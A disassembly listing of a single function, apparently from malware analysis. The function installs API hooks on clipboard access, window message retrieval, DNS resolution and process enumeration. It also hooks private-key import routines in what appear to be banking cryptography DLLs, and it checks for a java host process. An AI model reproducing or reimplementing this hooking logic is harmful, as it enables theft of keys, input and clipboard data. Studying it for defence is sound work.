Function at 0x100144f0
Capabilities:
Create thread
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x10003940
push 1
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
mov eax, 0x1004dac8
push 0
push 0
mov dword [0x1004dacc], eax
mov dword [0x1004dac8], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push 0
push 0
push 0x10019230
push 0
push 0
mov dword [0x1004d9c4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10014598
lea edx, [ebp - 4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10014598
test byte [ebp - 4], 2
jne 0x10014598
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x1004d870
call ebx
call fcn.10011330
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push 0
push 0
push str.user32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100145e1
push str.GetClipboardData
push eax
call edi
test eax, eax
je 0x100145e1
push 0x10057c1c
push 0x10011e60
push eax
call fcn.10018fc0
push 0
push 0
push str.user32.dll
call esi
mov esi, eax
test esi, esi
je 0x10014646
push 0x10047898
push esi
call edi
test eax, eax
je 0x10014646
push 0x10057d2c
push 0x10012e10
push eax
call fcn.10018fc0
push str.GetMessageA
push esi
call edi
test eax, eax
je 0x10014646
push 0x10057d30
push 0x10012f40
push eax
call fcn.10018fc0
push str.GetMessageW
push esi
call edi
test eax, eax
je 0x10014646
push 0x10057d34
push 0x10013070
push eax
call fcn.10018fc0
push 0x1004d858
call ebx
push 0x10044234
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10014678
push str.ZwQuerySystemInformation
push eax
call edi
test eax, eax
je 0x10014678
push 0x10057ba8
push 0x10006a30
push eax
call fcn.10018fc0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.10022e00
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, dword [sym.imp.USER32.dll_GetUserObjectInformationA]
test eax, eax
je 0x100146d2
call esi
lea ecx, [ebp - 4]
push ecx
push 0x100
lea edx, [ebp - 0x208]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push eax
call ebx
test eax, eax
je 0x100146d2
push 0x10058d34
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x100146d2
call fcn.100075b0
jmp 0x10014701
push 0
push 0
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
test eax, eax
je 0x10014701
push 0x100472b4
push eax
call edi
test eax, eax
je 0x10014701
push 0x1004cc94
push 0x1000abd0
push eax
call fcn.10018fc0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.10022e00
test eax, eax
je 0x1001474c
call esi
lea ecx, [ebp - 4]
push ecx
push 0x100
lea edx, [ebp - 0x208]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push eax
call ebx
test eax, eax
je 0x1001474c
push 0x10058d34
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100148a3
cmp dword [ebp + 8], 0
jne 0x100148a3
call fcn.100182e0
call fcn.10001670
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.java
lea ecx, [ebp - 0x108]
push ecx
call esi
test eax, eax
je 0x1001478e
push str..exe
lea edx, [ebp - 0x108]
push edx
call esi
test eax, eax
jne 0x100148a3
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push 0
push 0
push str.ws2_32.dll
call ebx
mov esi, eax
test esi, esi
je 0x100147f9
push str.getaddrinfo
push esi
call edi
test eax, eax
je 0x100147c1
push 0x1005797c
push 0x10004ff0
push eax
call fcn.10018fc0
push str.gethostbyname
push esi
call edi
test eax, eax
je 0x100147dd
push 0x10057a84
push 0x100050d0
push eax
call fcn.10018fc0
push str.inet_addr
push esi
call edi
test eax, eax
je 0x100147f9
push 0x10057b8c
push 0x10005200
push eax
call fcn.10018fc0
push 0x1004d840
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, 0x1004d838
mov dword [0x1004d83c], eax
mov dword [0x1004d838], eax
call fcn.10010820
call fcn.100100b0
call fcn.1000eeb0
push 0
push 0
push str.sks2xyz.dll
call ebx
test eax, eax
je 0x1001484d
push str.vb_pfx_import
push eax
call edi
test eax, eax
je 0x1001484d
push 0x10057fb8
push 0x1001da40
push eax
call fcn.10018fc0
push 0
push 0
push str.FilialRCon.dll
call ebx
test eax, eax
je 0x10014878
push str.RCN_R50Buffer
push eax
call edi
test eax, eax
je 0x10014878
push 0x10057fe0
push 0x10020560
push eax
call fcn.10018fc0
push 0
push 0
push str.mespro.dll
call ebx
test eax, eax
je 0x100148a3
push str.AddPSEPrivateKeyEx
push eax
call edi
test eax, eax
je 0x100148a3
push 0x10057ff4
push 0x10022410
push eax
call fcn.10018fc0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4